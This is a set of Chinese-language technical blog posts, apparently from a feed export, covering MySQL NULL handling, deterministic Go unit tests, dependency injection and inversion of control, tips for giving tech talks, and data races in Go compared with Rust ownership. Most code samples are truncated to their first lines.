A UNIQUE Constraint makes it impossible to COMMIT any operation that would cause the unique key to contain any non-null duplicate values. (Multiple null values are allowed, since the null value is never equal to anything, even another null value.) A UNIQUE Constraint is violated if its condition is FALSE for any row of the Table it belongs to.
抛开上文说的索引问题,MySQL 官方文档也指出了 NULL
使用让人困惑的地方 Working with NULL Values 和 Problems with NULL Values
1 | select count(*), count(delete_at) from players; |
count(*) 和 count(column) 是不一样的,后者会过滤掉 NULL
值
1 | SELECT 1 = NULL, 1 <> NULL, 1 < NULL, 1 > NULL; |
可以看到,只能使用 is NULL
或者 is NOT NULL
来判断是否等于 NULL
除了上面使用的困惑,NULL
值过多会影响统计信息,可能影响执行计划。MySQL 很不负责的把对 NULL
值的统计方式交给了用户 innodb_stats_method
, 默认值是 nulls_equal
Specifies how InnoDB index statistics collection code should treat NULLs. Possible values are NULLS_EQUAL (default), NULLS_UNEQUAL and NULLS_IGNORED
阿里也有过一篇文章,讲 unique 索引有 NULL 值导致主备延迟 感兴趣的可以看看
最骚的是有人,给一个字段赋值 'NULL'
, 注意是 'NULL'
不是 NULL
今天的分享就这些,写文章不容易,如果对大家有所帮助和启发,请大家帮忙点击再看
,点赞
,分享
三连
关于 MySQL NULL 大家有什么看法,欢迎留言一起讨论,大牛多留言 ^_^
]]>我司使用 mono repo, 某个服务 ut 失败,导致别人无法构建。查看下源代码以及 ut case, 发现槽点蛮多,讲一下如何修复,展开聊一下写单测要注意的一些点,和设计模式中的概念依赖反转、依赖注入、控制反转
1 | func toSeconds(in int64) int64 { |
函数 toSeconds
接收一个时间参数,可能是秒、毫秒和其它时间,经过判断后返回秒值
1 | ...... |
上面是 test case table, 最后报错 great than year 断言失败了。简单的看下实现逻辑就能发现,函数是想修正到秒值,但假如刚好 go gc STW 100ms, 就会导致 expect 与实际结果不符
如何从根本上修复问题呢?要么修改函数签名,外层传入 time.Now()
1 | func toSeconds(in int64, now time.Time) int64 { |
要么将 time.Now
函数定义成当前包内变量,写单测时修改 now 变量
1 | var now = time.Now |
以上两种方式都比较常见,本质在于单测 ut 不应该依赖于当前系统环境,比如 mysql, redis, 时间等等,应该仅依赖于输入参数,同时函数执行多次结果应该一致。去年遇到过 CI 机器换了,新机器没有 redis/mysql, 导致一堆 ut failed, 这就是不合格的写法
如果依赖环境的资源,那么就变成了集成测试。如果进一步再依赖业务的状态机,那么就变成了回归测试,可以说是层层递进的关系。只有做好代码的单测,才能进一步确保其它测试正常。同时也不要神话单测,过份追求 100% 覆盖
刚才我们非常自然的引入了设计模式中,非常重要的 依赖注入 Dependenccy injection 概念
1 | func toSeconds(in int64, now time.Time) int64 |
简单的讲,toSeconds
函数调用系统时间 time.Now
, 我们把依赖以参数的形式传给 toSeconds
就是注入依赖,定义就这么简单
关注 DI, 设计模式中抽像出来四个角色:
service
我们所被依赖的对像client
依赖 service 的角色interface
定义 client 如何使用 service 的接口injector
注入器角色,用于构造 service, 并将之传给 client我们来看一下面像对像的例子,Hero 需要有武器,NewHero
是英雄的构造方法
1 | type Hero struct { |
这里面问题很多,比如换个武器 AK 可不可以呢?当然行。但是 NewHero
构造时依赖了 NewGun
, 我们需要把武器在外层初始化好,然后传入
1 | type Hero struct { |
在这个 case 里面,Hero
就是上面提到的 client 角色,Weapon
就是 service 角色,injector
是谁呢?是 main 函数,其实也是码农
这个例子还有问题,原因在于武器不应该是具体实例,而应该是接口,即上面提到的 interface
角色
1 | type Weapon interface { |
也就是说我们的武器要设计成接口 Weapon
, 方法只有一个 Attack
攻击并附带伤害。但是到现在还不是理想的,比如说我没有武器的时候,就不能攻击人了嘛?当然能,还有双手啊,所以有时我们要用 Option
实现默认依赖
1 | type Weapon interface { |
上面就是一个生产环境中,比较理想的方案,看不明白的可以运行代码试着理解下
刚才提到的例子比较简单,injector
由码农自己搞就行了。但是很多时候,依赖的对像不只一个,可能很多,还有交叉依赖,这时候就需要第三方框架来支持了
1 | <?xml version="1.0" encoding="UTF-8"?> |
Java 党写配置文件,用注解来实现。对于 go 来讲,可以使用 wire, https://github.com/google/wire
1 | // +build wireinject |
类似上面一样,定义 wire.go 文件,然后写上 +build wireinject
注释,调用 wire 后会自动生成 injector 代码
1 | //go:generate go run github.com/google/wire/cmd/wire |
我司有项目在用,感兴趣的可以看看官方文档,对于构建大型项目很有帮助
我们还经常听说一个概念,就是依赖反转 dependency inversion principle, 他有两个最重要的原则:
High-level modules should not depend on low-level modules. Both should depend on abstractions (e.g., interfaces).
Abstractions should not depend on details. Details (concrete implementations) should depend on abstractions.
高层模块不应该依赖低层模块,需要用接口进行抽像。抽像不应该依赖于具体实现,具体实现应该依赖于抽像,结合上面的 Hero&Weapon 案例应该很清楚了
那我们学习 DI、DIP 这些设计模式目的是什么呢?使我们程序各个模块之间变得松耦合,底层实现改动不影响顶层模块代码实现,提高模块化程度,增加括展性
但是也要有个度,服务每个都做个 interface 抽像一个模块是否可行呢?当然不,基于这么多年的工程实践,我这里面有个准则分享给大家:易变的模块需要做出抽像、跨 rpc 调用的需要做出抽像
本质上依赖注入是控制反转 IOC 的具体一个实现。在传统编程中,表达程序目的的代码调用库来处理通用任务,但在控制反转中,是框架调用了自定义或特定任务的代码,Java 党玩的比较多
推荐大家看一下 coolshell 分享的 undo 例子。比如我们有一个 set 想实现 undo 撤回功能
1 | type IntSet struct { |
这是一个 IntSet
集合,拥有三个函数 Add
, Delete
, Contains
, 现在需要添加 undo 功能
1 | type UndoableIntSet struct { // Poor style |
上面是具体的实现,有什么问题嘛?有的,undo 理论上只是控制逻辑,但是这里和业务逻辑 IntSet 的具体实现耦合在一起了
1 | type Undo []func() |
上面就是我们 Undo
的实现,跟本不用关心业务具体的逻辑
1 | type IntSet struct { |
这个就是控制反转,不再由控制逻辑 Undo
来依赖业务逻辑 IntSet
, 而是由业务逻辑 IntSet
来依赖 Undo
. 想看更多的细节可以看 coolshell 的博客
再举两个例子,我们有 lbs 服务,定时更新司机的坐标流,中间需要处理很多业务流程,我们埋了很多 hook 点,业务逻辑只需要对相应的点注册就可以了,新增加业务逻辑无需改动主流程的代码
很多公司在做中台,比如阿里做的大中台,原来各个业务线有自己的业务处理逻辑,每条业务线都有一部份人只写业务相关的代码。中台化会抽像出共有的流程,每个业务只需要配置文件自定义需要的哪些模块即可,这其实也是一种控制反转的思想
上面是我关于 依赖反转
、依赖注入
、控制反转
的思考,分享给大家,如果有理解错误,有不到位的请指正
写文章不容易,如果对大家有所帮助和启发,请大家帮忙点击在看
,点赞
,分享
三连
关于 控制反转
大家有什么看法,欢迎留言一起讨论,大牛多留言 ^_^
最近在组织公司内部的技术分享,简单的聊聊如何写 tech slide, 以及现场 present 时要注意的地方,希望对大家能有帮助。当然个人理解,难免有错误,欢迎讨论。
要纯粹,不能有任何功利,初心错了,做任何事情都会变形。
通常准备一次分享,耗时至少一周时间,准备资料,查找相关文档文献,不但能巩固自己对技术的理解和认知,有时甚至是颠覆性的。唯其心中有泪,是以言之有物
分享会带来交流,尤其是和相关领域专业的人交流,都能带来意外的收获。三人行,必有我师!!!古人诚不欺我。
Slide 和 Blog 区别还是很大的,Slide 篇幅受限于分享时间,一般以 1 小时为主,通常 35 页左右
写的同时还要注意 present 的效果,这是和 Blog 最大的区别
写的时候要注意受众,新人内部培训类的分享,可能写的要基础一些,起到很好的入门作用。
但是对于熟手,或是 tech share, 就需要即有广度也要有深度。举个例子:golang channel
如果只是讲 channel 的基本使用,语法,那就太基础了,非常小白,浪费大家的时间。
深度就要讲到 channel 底层的实现,如何与 go runtime GMP 模型交互。
广度就要横向对比其它类 channel 的方案与实现,比如 ringbuffer 的性能对比,使用场景区别等等
一周准备时间刚刚好,先要脑海里想好大纲,层层递进,写到 Slide 里,不着急写内容
图表要多一些,文字太多,很多人没有耐心看完,比如本次分享就是例子,全是文字,很少有人完成阅读^^
尽可能的少一些源码,这不是 Blog, 尤其是深入 linux kernel 的,很晦涩。
首先要考滤分享的场景,大的广场还是公司内部会义室,还是 zoom online share
对于大的广场分享,排版一定要简洁,图要大,文字也要大,最好撑满整个屏幕。还要确认屏幕的尺寸,来选择 Slide 的比例,这些都是细节
公司会义室的分享,文字图表也要大一些,像我这样的近视眼还不带眼镜的很瞎
对于 online share 就好很多,没那么苛刻
第一次分享很容易紧张,尤其是大的广场分享,比如 gopher china 那种的
所以需要提前演练好几次,视重要程度来决定
开场前要深呼吸,淡定淡定
一般开场都会简单自我介绍,然后会说
通过这次分享,能给大家带来 XXXX,希望能帮助大家加深对 XXXX 的理解
相当于我们写邮件里的摘要 TL;DR (too long, don’t read), 不能云里雾里,说了一堆,引出一堆不相干的东西
好的开场等于成功的一半
技术分享和普通分享不同,幽默风趣不是必需的,但要控制好节奏
语速不能太快,大家还没理解就过去了。太慢的话,会让人昏昏欲睡
特别是关键的图表,需要刻意停留很久,让大家有充份的时间,去理解内容。
我这方面做的就不够好,还是得多锻炼多分享。
公司内部分享,要做好录屏,这样方便其他人观看,特别是可以将知识沉淀下来,方便新人 onboard
这次分享就这些,以后面还会分享更多的内容,如果感兴趣,可以关注并点击左下角的分享
转发哦(:
并发访问修改变量,会导致各种不可预期的结果,最严重的就是程序 panic, 比如常见的 go 语言中 map concurrent read/write panic
先来讲几个例子,老生常谈的 case, 再说说如何避免
下面是一个 concurrent read/write string 的例子
1 | package main |
一个 goroutine 反复赋值变量 s, 同时另外 main 去读取变量 s, 如果发现字符串读到的是 “WHAT” 就主动 panic
1 | WHAT THE |
上面代码运行后,注定要 panic, 代码的主观意愿是字符串赋值是原子的,要么是 F*CK
, 要么是 WHAT THE
, 为什么会出现 WHAT
呢?
1 | // StringHeader is the runtime representation of a string. |
在 go 语言中,字符串是由结构体 StringHeader
表示的,源码中写的清楚非并发安全,如果读取字符串时,巧好有另外一个 goroutine 只更改了 uintptr 没修改 Len, 那就会出现如上问题。
再来举一个 error 接口的例子,来自我司 POI 团队。省去上下文,本质就是 error 变量并发修改导致的 panic
1 | package main |
复现 case 其实是一样的
1 | ITCN000312-MAC:gotest zerun.dong$ go run panic.go |
来看一下 go 语言里接口的定义
1 | // 没有方法的interface |
道理是一模一样的,只要存在并发读写,就会出现所谓的 partial write
1 | fn main() { |
这是一段 rust 入门级代码,运行会报错:
1 | ITCN000312-MAC:hello zerun.dong$ cargo run |
因为变量 a 己经被 move 走了,所以程序不可以再继续使用该变量。这就是 rust ownership 所有权的概念。在编译器层面就避免了上面提到的问题,当然 rust 学习曲线太陡。
分好多层面来讲这个事情
简单来讲,一把大锁足矣,一把不够,就分段锁来个100把 … 比如 statsd agent, 由于单个 agent 有把大锁,多创建几个 agent 就行了,同步不行换成异步 …
很多代码都没有严苛到一把锁就严重降低性能的程序,为了程序的正确,切忌过早优化。尤其业务代码,性能不行 asg 扩容堆机器。
靠工具的 linter 提示能做到一些显示的检查,包括不规范的代码什么的,都是可以的。但毕竟不是 rust 编译器检查,其实编译器也并不是万能的。
当然打铁也要自身硬,以前 c/c++ 的程序员,每写一行代码,都知道传入传出的变量,是如何构造和析构的,否则内存泄漏了都不知道。
现在更高级的语言,自带 gc 带来了开发效率的提升,但不代表工程师可以不思考了。如果真是那样,是不是哪天 AI 就可以代替程序员了,好像是的…
可能这就是高级语言的不可能三角吧,开发效率、心智负担、运行时安全
这次分享就这些,以后面还会分享更多的内容,如果感兴趣,可以关注并点击左下角的分享
转发哦(:
s
]]>